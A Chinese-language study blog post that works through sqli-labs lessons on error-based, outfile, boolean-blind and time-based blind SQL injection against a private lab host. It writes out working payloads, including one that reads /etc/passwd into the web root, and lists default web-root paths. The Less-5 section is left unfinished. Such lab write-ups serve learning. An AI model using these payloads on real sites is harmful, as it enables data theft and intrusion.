Less-5(又乱了 此坑待填)
第五课到了报错注入和双注入,于是又折腾了好几天,花了很长时间理解原理和构造语句,仔细总结下吧。
形式
观察发现,在无错情况下只会显示“You are in…”,而在加单引号报错情况下才会显示一些信息。因此我们应该构造一个语句让他报错,在报错信息中把我们需要的其他信息带出来
知识点
- 子查询
- Group by函数
- 聚合函数
- rand()和floor()
- concat()
子查询:Select concat((select database())); 这种形式就是多重查询,其中加粗部分会被优先执行,并将其结果返回给外层
Group by:
Less-7
第七课是通过outfile函数来下载数据库到外部文件,我们可以通过访问这个文件获取数据库中的信息,甚至可以通过与一些其他命令的结合来获取系统的密码文件等信息。
初步判断
正确的页面是”You are in…Use outfile”
报错的页面是”You have an error in your SQL syntax…”
通过order by语句来先探查字段数目
判断闭合方法(神特么能猜到==我还是太年轻)
条件
如果要正确的写入,需要以下几个条件:
- 需要知道系统网站的默认路径,如果缺少了这个信息我们就看不到导出的文件
- 需要知道字段数目,否则就不能正确的生成和到处文件
- 需要注意路径名要用绝对路径,比如"/opt/lampp/htdocs/sqli/test.txt",之前前面没有加斜杠被坑了很久
- 可能还存在权限问题,比如某文件夹没有写入权限。这时候可以考虑下/tmp文件夹,这个由于是存放临时文件,一般都有写入权限,不过好像没啥用哈
一些常见网站配置的默认路径(从老大那里转载的):
- WindowsServer IIS:c://inetpub/wwwroot/(asp)
- Linux Nginx:
- /usr/local/nginx/html
- /home/wwwroot/default
- /usr/share/nginx
- /var/www/html
- Linux Apache:
- /var/www/htm
- /var/www/html/htdocs
- Linux Xampp集成:/opt/lampp/htdocs/
写入语句
http://192.168.15.137/sqli/Less-7/?id=1')) union select 1,2,3 into outfile " /opt/lampp/htdocs/sqli/Less-7/eee.txt" --+
我们也可以通过load_file()函数来调用载入外部文件,例如可以去调用”/etc/passwd”文件,把他导出
http://192.168.15.137/sqli/Less-7/?id=1')) union select 1,2,load_file("/etc/passwd") into outfile "/opt/lampp/htdocs/sqli/Less-7/hehe.txt" --+
玩法有很多,自己开发。
Less-8
基于布尔值的盲注
Length()
用于输出所选内容的长度,例如select length("hahaha")
显示结果为6
Substr()
substr(str, pos, len) 该函数用于截断字符串,第一个参数是所需切分的字符串,第二个选项是起点,第三个选项是步长。需要注意的是,pos是从1开始的。例如select substr("hello"),1,2
显示结果应该是”he”
Ascii()
ascii(str) 该函数接受字符,并将其转化为ASCII码,这样能方便我们用二分法更快的查找正确的字符对应的ASCII码,这样就能获取到字符的信息
特征
可以看到我们正常访问时有提示”You are in…“,但如果报错的话就没有回显。我们能得到的信息只有布尔值,因此称之为基于布尔值的注入。
Payload
?id' and (select ascii(substr(database(),1,1)) > 100)--+ //true ?id' and (select ascii(substr(database(),1,1)) < 150)--+ //true ?id' and (select ascii(substr(database(),1,1)) > 125)--+ //false ?id' and (select ascii(substr(database(),1,1)) > 112)--+ //true ?id' and (select ascii(substr(database(),1,1)) > 118)--+ //false ?id' and (select ascii(substr(database(),1,1)) = 115)--+ //true
二分法查找,同理可猜测其他字符
脚本自动化盲注
Less-9&Less-10
单引号型基于时间的盲注,或双引号(逃
Sleep()
sleep(int) 该函数接受一个整数作为参数,运行成功后会将整个程序挂起若干秒。因此我们可以在无回显时用这个来作为payload是否执行的标志。
If()
if(expr1, expr2, expr3) 该函数接受三个参数,当expr1为真时,返回expr2,否则返回expr3的结果。
判断闭合情况
id=1 and sleep(10) +--+ id=1' and sleep(10) +--+ id=1') and sleep(10) +--+ id=1" and sleep(10) +--+ id=1") and sleep(10) +--+
Payload
id=1' and (select if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=111,sleep(10),NULL))--+
系统崩了,重装前忘了备份这个文件…
于是大半夜重写了一遍啊啊啊啊啊
嗯,受某人影响还是觉得应该改改自己的性格。做一件事就做到最好。